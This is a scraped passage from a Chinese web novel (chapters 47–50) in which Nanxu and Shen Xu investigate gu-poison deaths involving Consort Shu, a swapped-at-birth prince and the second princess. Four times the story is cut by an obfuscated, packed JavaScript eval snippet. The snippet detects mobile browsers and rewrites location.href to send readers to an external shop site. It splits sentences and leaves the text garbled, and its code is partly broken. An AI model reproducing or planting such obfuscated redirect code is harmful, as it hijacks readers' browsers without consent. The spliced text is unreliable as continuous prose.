宫女此时才终于相信南夙说的话,她仔细回忆了一下淑妃这两日都做了些什么,缓缓道来。 “淑妃娘娘这两日染了风寒,身体不畅,没怎么出过门,也没吃过什么奇怪的东西,就只让御膳房煮了些米粥上来,要说有没有见过什么人……” 宫女看他们一眼,“昨日,淑妃娘娘去了一次地牢,见了二公主。” 南夙抬眼看着她的表情,发现没有说谎的迹象,她问道:“你当时也跟着?” 宫女摇头,“没有,淑妃娘娘这种时候一般不会让我们跟着。” “那你如何得知她去过地牢?”南夙问道。 宫女犹豫了一会,低着头似是在思考什么,好半晌,她再抬起头时,脸蛋已是一片绯红。 她磕磕绊绊,“我……我有个朋友在牢房当值,昨夜,我与他见面时他告诉我的。” 南夙一看她的表情就知道这朋友不是什么正经朋友,再说了,谁家正经朋友大晚上在宫门见面。 做什么?难道还能是叙旧? “那你这位朋友还有没有告诉你一些别的事啊?”南夙循循善诱。 宫女抬起脸一脸疑惑地看着她。 “比如,除了二公主,淑妃娘娘还有没有见过其他的人?或者,淑妃娘娘在地牢里有没有做什么事,说什么话?”南夙一看人点不通,干脆直接问道。 宫女摇摇头,“没有,淑妃娘娘见二公主时将他们都喊下去了。” “那他们就真的这么老实,没一个偷听的?”南夙下意识便问道。 …… 宫女像是停了什么不可置信的话,瞪大眼睛长大嘴巴,发出十分真诚地疑问,“还能这样吗?” “额。”南夙挠挠脑袋,“你当没听见我刚刚说的那句话吧。” “哦。”宫女点点头,突然激动起来,“对了对了,我还没说完呢。” 南夙看向她,“还有什么?” 宫女又低下头去,扭扭捏捏地半晌不说话了。 南夙耐心地等着。 直到宫女自我安慰好了,再抬起头来,又一脸的红。 嗯? 南夙一头雾线。 “我还有个朋友……” 宫女终于开口。 南夙一听,嚯!又来一个? 不对,又有线索?她忙支起耳朵。 “他是在翰林院当值的小厮,昨夜他告诉我,下值时见到皇后娘娘的哥哥也往地牢去了。”宫女放低了声量,“他说,他看到皇后娘娘的哥哥下值后鬼鬼祟祟地往后门走了,他正巧来找我,便好奇地跟在他身后,最后看见皇后娘娘的哥哥进地牢里去了。” 沈序立马抓住重点,“这两人是同一段时间去的?” 宫女摇头,“不是,淑妃娘娘是午时去的,而杨侍讲是申时去的。” “好。”南夙拍拍宫女的肩,“多谢,你帮了我们大忙。” 那宫女抿着嘴笑着看南夙,“既然奴婢帮了大忙,能不能请世子妃帮个忙?” “什么?”南夙问。 “世子妃能不能带我出宫?” 南夙一头黑线。 不是,这这么多人呢,咱们这么光明正大地密谋这事合适吗?好歹也找个没人的地慢慢说才对吧。 她嘴角抽抽两下,感觉屋内无论是跪着站着还是坐着的,都在暗悄悄地盯着自己,就等看自己怎么回这句话了。 南夙脑子里一想,这事我解决不了,简单一个转头,就将这烫手的山芋给抛出去了。 沈序自然地接住,收到她投来的视线,上前一步走到南夙旁边,与她并肩而站,问宫女,“你想出宫,为什么?” “就是……”宫女不自在地搓搓手,像是要说的事多么难以启齿一样,“我那个朋友说,存够了钱就娶我,他现在钱存够了,我就想出宫去……” 后面的话没说完,但在场的人都已经懂了她的意思。 南夙其实特别想问她,“是哪个朋友?” 但这话有点欠揍,虽然自己是世子妃,南夙也还是觉得不能轻易脱口,遂止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269738|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行。” 没想到沈序听了她的要求,居然立马点了头,“等这桩案子解了,我就去见陛下,请他放你出宫。” “多谢世子!” 宫女立马感激得五体投地,趴到地上向沈序道谢。 “行了,起来吧。”沈序道,“我是有条件的。” “什么条件?世子您说,除了上刀山下火海,我什么都能做。”她情绪激荡。 还挺实诚。 南夙想。 不过沈序也没什么需要上刀山下火海的事让她做,无非是让她配合着查案子罢了。 他们二人在淑妃的寝殿里查看了一番,没找到什么有用的线索,便决定去一趟地牢,见一见二公主,查查淑妃见她的目的。 他们刚出宫门,又见一人急忙朝宫里而来。 沈序拦住他,问他着急忙慌地做什么?那人说翰林院侍讲今日被人发现暴毙家中,死法可怖,遂来禀告陛下与皇后娘娘。 果然不出他们所料,杨清源也死了。 既然这样,那么凭林清当时留下那句话就能知晓,此事是薛鹤之与林清所谋划。 幕后之人有了。 可他们是如何做到的呢? 这是南夙最难想通的事。 淑妃和杨清源都死于蛊,薛鹤之从小在青州长大,可青州地处北部,与灵诏相隔甚远。加上南夙并未在薛鹤之身上发现有蛊的痕迹,那这蛊,就不会是薛鹤之炼的。 所以,薛鹤之身后,除了与他一同密谋的林清外,还有一个负责制蛊,下蛊的人。 这个人是谁? 会是灵诏的人吗? 可根据昨日南夙所见到的种在韩清棠脑中的灵台来看,此人下蛊的手段并不高明。 至少南夙敢确定,她不需耗费什么精力就能将这蛊碾死在韩清棠的脑中,并且对她不会有丝毫的伤害。她没有这么做的原因是,她不想只靠听活着的人的说辞就断了一桩案子。 死人是有很多话想说的,他只是说不了了。 就像乌禾一样。 为了避免被清醒后的韩清棠说的话给误导,南夙才决定要先去查一查驸马。 果然,沈序查到的事也证明了她的想法,薛鹤之是有冤情的。 可眼下,淑妃与杨清源接连暴毙,南夙虽然看出了种的是什么蛊,却没感知到这蛊被藏在哪里,又是在什么时候下的。 淑妃与杨清源死前做的同一件事,就是都见过韩清棠,可若是这蛊是通过韩清棠间接下的,为什么昨日她没有察觉到韩清棠身上藏着其它的蛊呢?难道在这期间还有别的人见过韩清棠吗? 南夙带着满腹疑问见了韩清棠,她脑中的蛊仍然在那里,南夙一靠近牢房圣蛊便活跃起来,因此她的神志也仍然是不清醒的,嘴里仍然重复着那句“我自由了。”瞳孔没有色彩。 南夙的问题在守卫那里得到了否定的答案。 昨天来见过韩清棠的只有淑妃与杨清源两人。 那就说明这蛊是之前就带在韩清棠身上的,会是什么时候呢? 楼兰晚宴那夜,南夙并没有感受到她体内有蛊的存在,所以一定在那之后。 那夜之后,薛鹤之带她见过什么人?或者说,她见过什么人? 这些问题都需要她们一点一点地查清,但南夙定定地望着她。 与其让人去查,不如让她亲口说出来。 48.第 48 章 “我先替她解了蛊。” 南夙这话是对身边的沈序说的,但她的目光却始终没有离开牢房中的韩清棠。 沈序扭头看她,点点头,他喉咙里发出轻轻的一声“嗯”,却是在说不管南夙做什么决定自己都会支持。 一旁的守卫这时十分有眼色地上前打开了牢房的门。 南夙提步走进牢房。 韩清棠坐在牢房里那个小小的杂草床上,南夙就在她的旁边坐下。 她像是没有发现有这么一个人靠近自己,仍然低着头,一双眼睛四处转着,却落不到实物上。她完全沉浸在自己的意识里,只会重复呢喃那句话。 不知道她的嗓子已经多久没得到休息,此刻已然有些沙哑了。 南夙坐在她身侧,并没有立马动作,而是静静地观察了她一会,见她眼中一片混沌。许久,她终于抬起自己的手,轻轻放在韩清棠的后脑勺处。 韩清棠愣住了。 她突然没有了动作。 南夙感受到她身体的僵硬,没收回手,疑惑地看了一眼韩清棠。 只见她眸中闪过片刻的清明,但只一瞬,这清明又被混沌给吞噬完全,她嗓子里弱弱地喊了一句:“娘。” 南夙立马问道:“你娘是谁?” 韩清棠眼神飘在空中,许久才回道:“皇后娘娘。” 皇后娘娘? 难道韩清棠并不知晓自己不是皇后的亲生女儿? 她昨日喊的那声娘真的是皇后。 可是,公主唤皇后一般不都是叫母后吗?韩清棠为什么叫皇后娘呢? 南夙脑中思忖着,若是韩清棠口中说的娘就是皇后,那她昨日的推断就全错了。 她让江陌与叶燃去查韩清棠的身世,就是因为二公主在短暂的清明的神志中喊出的那声“娘”,加上她一直念叨着“我逃出来了”,南夙猜,她与薛鹤成亲的理由,是想逃出皇宫。 虽然不知道这位二公主为什么不想享受皇宫里衣食无忧的日子,但南夙在话本中见过说过不少类似的女子,依靠成亲逃出皇宫的故事。不过话本终归是美好的,这些逃出来的女子最后多半都爱上了自己随意找的丈夫,并且两人幸福得在一起。 像韩清棠与薛鹤之这样,一死一伤,对方还是替了自己身份的情况,南夙觉得普天之下找不出几个人来。 但这些都不是重点。 重点是,若韩清棠口中的“娘”就是皇后,那就说明南夙的推断全错了。 南夙眸间一暗,不再犹豫,放在韩清棠后脑勺的手微微使了些力。瞬间,她脚踝间的十九蛊立刻躁动起来,往下看,能看大一只长相怪异的虫子正从那银铃间爬出来,那银铃的空隙极小,不知道是如何做到的。 那虫子沿着南夙的小腿往上爬,停在南夙衣裙下摆处,下一秒,以人眼不可捕捉的速度消失在眼前。与此同时,原本目光呆滞的韩清棠突然双手抱住了头,她眉头蹙着,像是遇到了多么痛苦的事。她脑袋不停地晃动着,却始终没能将南夙的手给甩下来。 南夙的手死死地贴在她的后脑勺处,直到一滴清晰地汗珠坠到地面,韩清棠脱力向后倒去,被南夙一把接住,搂进怀里。 南夙在她往后倒的那一刻便收回手来,她看了眼晕死过去的韩清棠,缓缓起身,将人平放在床上,起身走出了牢房。 沈序没有跟着她一起进来,只是站在牢房外等她。但他的视线始终没有离开过南夙,也一直注意着韩清棠的动作,防止一些意想不到的意外发生。 但南夙完好无损地走出了牢房。 沈序扶住她的肩膀,“累不累?” 南夙摇摇头,对一旁守着的人道:“二公主若是醒了,第一时间派人告诉我们。” “是。” 韩清棠醒来时已经过去了一日,南夙料到她不会醒得太早,普通人被下蛊,自然是会有些反噬的,于是也没在这里等,拉着沈序回侯府去了。 他们二人也是许久没有休息,昨夜更是直接宿在了大理寺,眼下所有的线索都指向韩清棠,但当事人睡着,他们也要先睡一觉再说。 第二日,牢房里的人来报韩清棠醒了,南夙立刻起身往牢房而去。 韩清棠仍然坐在那张床边上,一样低着头,只是眼中已没有之前那般混沌,听到门外的脚步声,她主动抬起了头。 见到来人时,她眼中闪过一丝惊异,她很快便挪开了视线,但仍然被南夙给捕捉到。 “公主殿下。”南夙站在牢房外。 韩清棠嘴角扯出一个笑,说不清是什么含义,“我不是公主,你们应该已经查到了吧。” 她这话像是在问南夙,可语气确实肯定的。 南夙没有回答是与不是,只是很直接地问:“谁与你一起谋划,杀了驸马?” “你说什么?”韩清棠猛地抬起头来,像是听到了什么不可思议的话,“他死了?” 她语气十分震惊,又像是在悲伤,仿佛她真的对薛鹤之用情至深一般。 可南夙却不信,她掀起眼眸,目光直直地射在韩清棠因为悲伤而扭曲的脸上,淡淡开口,“别装了。” 韩清棠一脸疑惑地抬头看她。 南夙道:“你亲手杀了薛鹤之,你难道不知道?” “我……我不知道……”韩清棠不住地摇着脑袋,好像一定要回忆起什么事情却终得不到结果,口中重复着“我不知道”。 南夙看着她的模样 如果不是昨天亲手将她脑中的灵台给灭掉,她都要怀疑韩清棠昨天也是演给自己看的了。 她不想再看她演戏,直接点明。 “灵台入脑,需要宿主全身心的服从,一旦有一丝不愿,顷刻暴毙,难道给你种蛊的人没有告诉过你?” 南夙轻轻道来。 韩清棠脑中的蛊一定是在她自己愿意的前提下种下的,南夙猜她应当是与种蛊之人达成了某种交易。 “你说什么?”韩清棠突然收了方才疯癫的模样,脸色十分难看,眼中闪过一丝后怕。 她看着南夙,无法确定她说的话是真是假,试探开口:“我凭什么相信你?” 没否认,看来真的有人给她种蛊,但那人却没告诉她灵台入脑的危险。 南夙看着她,眼神十分坦然,语气又带着几分理所应当,好笑道:“二公主应当知道我是灵诏人吧。” “是又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她让人开了牢房的门,走到韩清棠身侧,换了个战略。 她抬手抚上韩清棠颤抖的肩膀,轻轻拍了拍,没有说话。 等到韩清棠暂时将淤积在胸间的苦涩哭尽,她才缓缓开口,语气坚定,“无论你是恨谁,想谁死,我都可以帮你。” 韩清棠抬头看了她一眼,收回视线落在牢房的角落。 好久,她才又重新抬头看向南夙,却不是相信了她的话。她勾勾唇,一脸痛快地说:“不用了,我想杀谁,我会动手。” 那就是淑妃。 南夙立刻从她的话中得出了答案。 但还有一件事,南夙需要确定一下,那就是韩清棠对薛鹤之的态度。 她好整以暇地站在一旁,忽然开口问:“你知道……当年被调换的那个孩子是谁吗?” 韩清棠乜她一眼,没有回答。 “那我告诉你吧。”她一字一句,“那个人,是你的驸马,薛鹤之。” 眼前的人怔愣住,她僵在原地,像是四肢百骸都被冻住,寒冰在她体内窜动,割烂她的血肉。 南夙心中已经有了结果。 她脑中迅速将所有线索整合在一起,拼凑出了整件事的真相。 不用再得到韩清棠肯定的答案,南夙转了身,没在意韩清棠什么时候能反应过来,又会有什么样的行为。 她在身后那撕心裂肺的叫喊声中走出了牢房。 韩清棠一直在说:“你骗人。” 她确实遭受欺骗,可骗她的不是南夙。 49.第 49 章 亲情,大概是人一生难解的谜题。 血脉不过是偶然相遇,有些时候,你会发现,霜雪里递来的那盏茶,才是命运真正的落款。 世人总把骨血看得很重,仿佛同一脉泉流就注定风格永不干涸。可你看深山里两棵紧挨着生的树,根系各扎各的土,枝叶却在风里缠得那样紧,倒是比同根生的,更懂如何共一场春秋。 “所以她真的是为了给皇后报仇?” 一个模糊的男声从房间里传出来,紧接着,那房门忽然被打开,几个人先后走出来。 韩砚走在最后头,脸上还带着听完此事的惊讶。 自从上次韩世衡的事之后,韩砚在皇宫闭关了许久,今日不知是不是想通了,突然来找沈序。去府里发现人不在,问了才知道是去大理寺去了。 他疑惑沈序已经辞了大理寺的职,怎么又跑去那处了。仔细一问才知道,他近日隔绝外界错过了一件多么大的事。 他皇姐杀了驸马姐夫! 不会吧。 韩砚仔细回忆了一下二皇姐的模样,她素日里是个张扬的女子,可却也知书达理,怎么可能会干出这么惊世骇俗的事? 他连忙往大理寺赶去,刚好在门口遇到了从地牢赶来的南夙。 “嫂子。” 韩砚挠挠头,有些不自在。 南夙扫视了他一会,见人精神头还不错,想来也是想开了许多,便带着人进去了。 韩砚还不知道自己踏入大理寺这一脚会踏出使他多么震惊的事。 “我二皇姐是假的?”他“唰”一下从椅子上站起来,椅腿在地面上磨出“嗞”的尖响。 说完他才反应过来自己说错话了,人怎么能是假的,身份才是假的。 他坐回椅子上,“那我真正的皇姐在哪啊?” 南夙往他身后指指。 韩砚以为她在另一间屋子里,以为自己将会成为第一个与真正的皇姐见面的人,坐立不安起来,还怪紧张的。 “这,我什么见面礼都没准备呢,会不会不太好?”他一脸严肃地提问。 沈序知晓他是误会了南夙的意思,解释道:“那是殓房。” “殓房?”韩砚疑惑,“我二皇姐去殓房作甚?” 他一本正经地猜测,“难不成……她是个仵作?” 南夙无能地闭上了双眼。 叶燃看不下去了,又碍着韩砚的皇子身份,只好提醒道:“四皇子,你的二皇姐是个男的,他不是仵作。” “男的?我皇姐变皇兄了?” 韩砚有些惊讶,不过很快便消化掉他皇姐变皇兄这事,反又问道:“他不是仵作,在殓房做什么?” “可能……”江陌犹豫开口,不知道用什么话解释好,说“死了”?可那毕竟是皇子,不太合适。说“是尸体”?不行不行,不太尊重人。 最后,他折中选了一个比较合适的方式向他解释:“四殿下的兄长,在睡觉吧。” 南夙:“……” 沈序:“……” 叶燃:“……” 韩砚:“!!!!!!” 皇兄竟如此有胆魄! 他欲为这位皇兄赋诗三百句。 南夙一看他表情就知道他是误会了江陌的话。但这事赖江陌,谁教他这么解释的? 她开口将韩砚没说出口的话给截断,“你二皇兄他,死了。” “死了?”韩砚发出今日第三声惊呼,“我皇兄不是才找回来吗,怎么就死了?” “额,被二公主杀了。” “二皇姐?我二皇姐杀他做什么?”韩砚在脑中脑补出一场争权大戏,“难道是为了这皇子的位置?” 他一脸失落地靠在椅子上,“我还没见过他呢,他怎么就死了?” 南夙试探着开口,“你可能……见过。” “我见过?”韩砚直起身,“我在哪见过,难道他是宫里的侍卫?小厮?厨师?” 韩砚说一个看一次南夙的表情,但南夙的脸上始终没有露出赞同的表情,说到最后,他几乎将皇宫里可以谋的职都列举了一遍,仍然没有得到南夙的点头。他皱着眉头,吐出两个自己不可思议的词。 “总不能是,太监吧。” “这都什么跟什么?”南夙一惊。 “那他是谁?我见过,又不在皇宫,他总不能是我姐夫吧。” 这可不就是瞎咧咧出个真理,一语惊醒梦中人。 韩砚本来是破罐子破摔胡说八道,没想到他话一说完,周围坐着的人全都噤了声,直直地盯着他看,仿佛他窥破了什么天机。 不会吧? 韩砚一脸不可置信地回望过去,视线一一扫过在座的各位,最后迷茫地接受了他瞎猫撞上死耗子这事。 “不是?那我二皇姐为啥杀他呀?” 韩砚觉得实在是说不通。 是啊,如果不是因为韩清棠不知道薛鹤之就是皇后的孩子,今日就不会有此血案。 南夙在牢房里时并没有问韩清棠是何时知道自己并不是皇后的孩子这件事的,但她猜测,是从韩清棠开始想离开皇宫的时候,她在得知当年孩子掉包一事之后,就派人去查了,最后是从韩清棠的贴身侍女那里得知,四年前的一个晚上,淑妃突然找上了韩清棠。 据侍女所说,韩清棠在那一夜之后突然像变了一个人,易怒又敏感,半夜总是会突然惊醒,听不得孩子这种话。 南夙肯定,就是在这一夜,淑妃将韩清棠的身世告诉了她。 但韩清棠并未轻易加入淑妃的阵营,反而决心,要替皇后报仇。 因为情分这件事,从不在族谱的哪一页,不在意什么血缘关系。只是襁褓之中时有人双手抱起你,轻声逗乐足矣。 皇后无疑是爱韩清棠的,宫里人都有见证。而韩清棠在知晓身世后的选择更是最好的说明。 南夙听说,皇后体弱,常常吃斋念佛,前些日子去了古刹青灯古佛,听说这件事后立刻赶了回来,只是匆匆见了一面韩清棠,就被她疯疯癫癫的样子给心疼得昏了过去,现在还没醒来。 但南夙却对此感到庆幸,若是皇后醒着,他们查案未必能如此顺利。 韩清棠为了实施自己的计划,找上了薛鹤之,与他成亲以此来达到出宫的目的。 至于为什么是薛鹤之,她又为何要杀薛鹤之,南夙后来在淑妃的寝宫找到了一封写给杨清源的信。 淑妃不知用了何种方式,让韩清棠知晓了薛鹤之流落青州之事。 韩清棠便派人去查,又奸人蒙蔽,说薛鹤之杀了真正的皇子,代替了其身份,进京科考。 所以从薛鹤之来到京城那一日起,他就已经在韩清棠的猎杀名单里了。 南夙只觉一阵唏嘘。 所以韩清棠在知晓薛鹤之才是真正的皇子时才会如此疯癫,不敢置信。 岁月漫长得足以让陌生人变成亲人,不问血脉,只求长伴,所以不必问来路,那些愿意把年华分给你的人,早就在朝夕之间,把日子过成了一条河。 只可惜。 薛鹤之与韩清棠这两条河,如今已是干涸了。 他们一个不要身份,只求复仇;一个不要血缘,也只为复仇。 可复仇真的那么重要吗? 很久之后的南夙可能会毫不犹豫地说出重要这两个字,可如今,望着两个破碎的亲情,她却说不出这句话来。 还有一件事是南夙还没有查到的,那就是下蛊之人究竟是谁。 南夙对于此人,有一个十分大胆地猜测,他同时与薛鹤之和韩清棠达成了合作。 韩清棠脑中的灵台她本人知晓,可薛鹤之也知晓,这是在南夙将所有事情都推理出来之后找到林清问的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286652|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林清似乎没有想到他们能够这么快的查清楚这件事,但他只是扯了扯嘴角,将他们所谋划的事情一一说了出来。 他说,他与薛鹤之来到京城的目的,就是为了报仇。薛鹤之在知晓这所有的事之后,就在考量要用什么样的手段来复仇。 直到韩清棠找上了门。 薛鹤之死死盯着屋外的那个身影,他仿佛在一瞬间看到了淑妃,将韩清棠与淑妃的身影重叠在了一起。 他捏紧了自己的手指。 但很快,他便清醒过来,王秋生说过,韩清棠并不是淑妃的孩子,只是当时随手在宫外抱来的,说不定,她自己都不知道自己的身世。 于是薛鹤之将自己心中那找不见方向的仇恨暂时放下,让人开门,迎了韩清棠进来。 他没想到韩清棠是来与他谈合作的,更没想到她要用婚姻来求自由。但他同意了,因为他正好可以借韩清棠的身份,接近淑妃与杨清源。 名义上,杨清源是韩清棠的舅舅。薛鹤之见过他一次,他对韩清棠很好,仿佛她是自己真正的外甥女,但就是这一次,让薛鹤之更加坚定了要杀了他的决心。 薛鹤之想,入了中枢,他离复仇就更近了一步。要是不小心被发现死了,还可以在死前为寒门学子谋个出路。 但他没想到的是,没等到他入中枢,机会便找上了门。他在一场宴会上认识了一个人,那人年龄不大,总是衣服病弱的样子,在宴会上主动找薛鹤之搭话。 那时候的薛鹤之想利用宴会多结交人脉,欣然接受了他的邀请。那之后,他又与此人见过几次面。一次,那人约他前去家中,林清担心他,便跟着他一同前往。 此人家在京城外,薛鹤之知晓此事时十分惊讶,但已经答应了对方的邀约,便还是去了。 后来让他更加惊讶的,是此人家中的布局,院子里是各种覆了黑布的架子,许多见屋子都上了锁。 林清与薛鹤之都很是好奇,但薛鹤之这人闷,就算是好奇也不会问,林清不一样,当场就问了出来,那人也没有遮掩,直接掀开了一张黑布,将架子上的东西展示了出来。 他们这时候才看见,架子上还放了许多大大小小的筐子,里面装了许多奇怪的虫子,有些大一点的筐,装的是蛇,毒蛇。 那人见他们吃惊的表情,十分耐心地解释:“这是蛊。” 蛊? 这是他们从未听过的东西。 那人似是十分乐于替人解惑,一点没卖关子,说道:“这是我在灵诏学来的东西。” “做什么用?”林清发问。 那人轻笑:“杀人用。” 薛鹤之与林清面上惊骇,那人又一笑,解释道:“骗你们的,二位兄长何故如此当真?” 他说着转了身,继续在前面带着路。 可薛鹤之却将他的话听进了心里。 等到茶过三巡,他才状似无意地提起,“乌兄说院子里那些虫子是用来杀人的,在下有些好奇,不过一些虫子,如何能杀人?” 那人见他面上认真,笑道:“薛兄这就浅薄了,这世间神奇的事可多着呢。” “二位若是感兴趣,我试验一番给你们看?” “这……不是说是用来杀人的吗?如何试验?”林清惊道,“难道真找个人来杀了他吗?” “自然不是。”那人笑着摇头,“活物就可以。” 他说完,便有一人抱着一只猫走进来,小厮将猫放在他手边,他轻轻抚摸了几下。薛鹤之看见一只虫子从他手中爬出,爬进那猫的耳朵里。 他屏息凝视着那猫,它生龙活虎的样子完全不像是会死的样子。薛鹤之料想是此人装神弄鬼,可下一秒,却见那猫突然抽搐起来,不过片刻便倒在了地板上。 他起身查看,那猫已没了呼吸。 就是在那一刻,他有了主意。 50.第 50 章 “我后悔我当时没有拦住他。” 林清情绪激动,他双眼猩红,死死地盯着南夙,好像南夙才是害死薛鹤之的凶手一般。 但他很快便收回了视线,仿佛在强迫自己清醒一点。 他苦笑着,“我明明看出那人有问题,却没有阻止他。” “你看出了问题,难道薛鹤之没有看出来?” 林清闭着眼睛摇摇头,却不是否认“看出来了又怎样,他那时已经被仇恨蒙蔽了双眼,哪怕是死,他也愿意。” 南夙看着他,“所以,他们达成了怎样的合作?” 林清缓缓睁开了眼睛,“他替鹤之报仇,筹码,是鹤之的身体。” “试蛊?”她语气肯定,在林清说完的那一刻就知晓那人想做什么。 果然,林清痛苦地点了头。 可是南夙并没有在薛鹤之体内发现蛊虫的痕迹,难道那人的本事已经强到连自己也看不出来了吗? 那种在韩清棠脑中那枚劣质的灵台又是怎么回事呢? 唯一的解释是,那人是故意在告诉南夙,他本事不够。 “此人叫什么?”南夙问。 林清摇摇头,“我只知道众人都叫他乌兄,至于他是谁,我并不晓得。” 姓乌。 难道他真是灵诏人? “薛鹤之做这些是为了复仇,你呢?你又是为了什么?”南夙问出了与沈序一样的问题。 林清同样沉默着。 南夙又问了林清那人的住址,但他们找上门时,早已人去楼空。院子里的架子还没撤,只留下了一些品质下乘的蛊虫在里面,应当是走得着急。 南夙在屋内的桌上发现了一封信。 那信上清清楚楚地写着:南夙小姐,许久不见。 南夙心头一跳,不知为何,一种莫名的担忧油然而生,她却不知这情绪从何处而来。 风雨欲来。 她将那封信带了回去,打算好好研究一下。 这边的事了解清楚后,南夙便前往大理寺,打算先与沈序他们汇合,商量一下后续的事情应当怎么解决。 这件事肯定是要上报陛下的,可涉及皇子,如何上报是个问题。 没想到在门口遇到了韩砚那傻大个。 他们在大理寺将整件事梳理了一遍,现在的疑点只剩下两个,一个是突然出现现在又不知所踪的乌姓男子的目的是何,还有一个,是韩清棠是否真如南夙所想那般,也与这人有合作。 他们正想着,突然有人来报,称二公主想见南夙。 这不就巧了? 南夙再一次见到韩清棠,她整个人憔悴了许多,一张小脸失去了血色,嘴唇已经干到裂口,不知道内心挣扎了多久,才决定见南夙这一面。 “二公主。”她淡淡开口。 这次只有沈序陪着她来见韩清棠,江陌叶燃要留守大理寺,韩砚说不知如何面对韩清棠,便在外面等着他们。 南夙来问,沈序就抱着手倚在一边的墙上等她。 韩清棠虚弱地抬起眼眸,“你说的,都是真的吗?” “二公主找我来,就是想确定这个?” 韩清棠苦笑一声,“我以为,我做这一切都是在为皇后娘娘报仇,没想到,到头来,我却成了杀害她亲生孩子的凶手。” 她说着便笑起来,笑得骇人又悲哀。她忽然猛地咳嗽起来,像是要把整个肺都给咳出来一般,咳得剧烈吓人。 南夙在她手心里看见了血丝。 心脉受损,她已难受至此。南夙知晓,这件事一辈子都将刻在她的心中,磨灭不掉了。 “他本不想要这身份,你不必过于自责,相反,你们目标一致,杀了淑妃与杨清源,也算是圆了他的心愿了。”她安慰道。 “你说什么?”韩清棠抬眼。 南夙将薛鹤之这一生所有的事情都告诉了她。 韩清棠怔愣在原地,许久才回道:“原来他吃了这么多的苦。” 泪水从她的侧脸滑落,砸在地板上,溅起她与薛鹤之两年来的回忆。 她这一生都错了,错生了地方,错生了心思,错恨了人,错信了人,最后错杀了人。她可能,杀了她那个这辈子最重要的人的最爱的人。 她错了。 “你不是想知道是谁给我下的蛊吗?我告诉你。” 韩清棠用手掌囫囵抹了眼泪。 南夙支起耳朵。 韩清棠说:“那人叫作韩执。” 姓韩?不是与薛鹤之合作那人? 南夙蹙起眉头。 却又听韩清棠道:“我是在神刹海意外遇见他的……” 成婚后,韩清棠比在宫中自由了许多,那时她还在谋划着如何能够悄无声息地杀掉淑妃二人,还有薛鹤之。 许久没有思绪,韩清棠烦闷得紧。这时,管家似是看出了她的不爽,建议她出去走走,韩清棠便听了管家所言,去了神刹。 神刹那时的荷花开得还没有现在这般好。 她踱步在湖边,忽见一人披着大氅坐在湖边,手执一鱼竿,人却是靠在一边,双眼闭着,不知有没有睡着。 韩清棠很快便得到了答案。 那人眼睛虽闭着,手却在身前动了几下,韩清棠没看清他做了什么,下一秒,却见鱼竿颤动起来,不知什么东西在往下扯动。那人这时睁开了眼睛,两手握住鱼竿网上收竿,一尾鱼跳在了岸边。 韩清棠惊讶。 在见到此人时她便有些讶异,四月里虽然还没完全回温,但也不至于冷到披大氅,再加上这人钓鱼的本事,成功吸引了韩清棠的注意。 那人似乎发现了身后一直观察着自己的女子,转过头冲韩清棠微微一笑,“姑娘可是在看在下?” 韩清棠愣了一下,许久才缓缓点头。 那人便邀请她来到身边一坐,韩清棠本不想去,却不知为何突然失去了思考的能力般朝那男人走去。 “你很冷吗?”坐下身后,韩清棠问道。 男人拢了拢身上的大氅,笑道:“在下年轻时生了场重病,身体不太好,受不得凉,姑娘见谅。” 韩清棠十分理解地点点头,又问:“你是如何做到的?” 她没有提钓鱼,男人却读懂了她的意思,囫囵道:“自然是有我的方法。” “不能说吗?”她问。 男人摇头,“并非不能说,只是这东西在中原并不常见,在下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291083|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心,吓到姑娘。” 韩清棠不屑,她还没遇到过让她害怕的东西。 那男人像是读懂了她的表情,说道:“既然如此,那便给姑娘看看。” 说着,他伸手到腰间,扯下一个锦囊来,在韩清棠面前打开。 一只虫子缓缓爬出来,韩清棠看着,忽然伸出手指想去碰它,被男人拦住。 “这可碰不得。” “为何?” 男人道:“会死人的。” 就一只虫子,怎么可能?韩清棠不信。 男人见她不信,当着她的面将那虫子往装着鱼的鱼篓里一扔,韩清棠顺着他的动作看去,见那鱼篓中的鱼顷刻间翻了身子。 “这是何物?” “蛊。”那人缓缓道。 那是她从未听过的东西。 “所以你就和他合作了?”南夙了然。 韩清棠点点头。 “筹码呢?”南夙问,他想知道此人的目的究竟是什么。 “他没要筹码。”韩清棠道。 没要筹码? 怎么可能。 只是没明着说而已,不然你的脑子怎么这么轻易就给出去了? 但这话南夙没说。 “这人有什么特征,你还记得吗?”南夙问。 韩清棠思考了一会,摇摇头,“我只记得他身体好像很不好,每次出门一定要穿大氅,袋子里总是备了很多药。” “那你知道他住哪吗?” 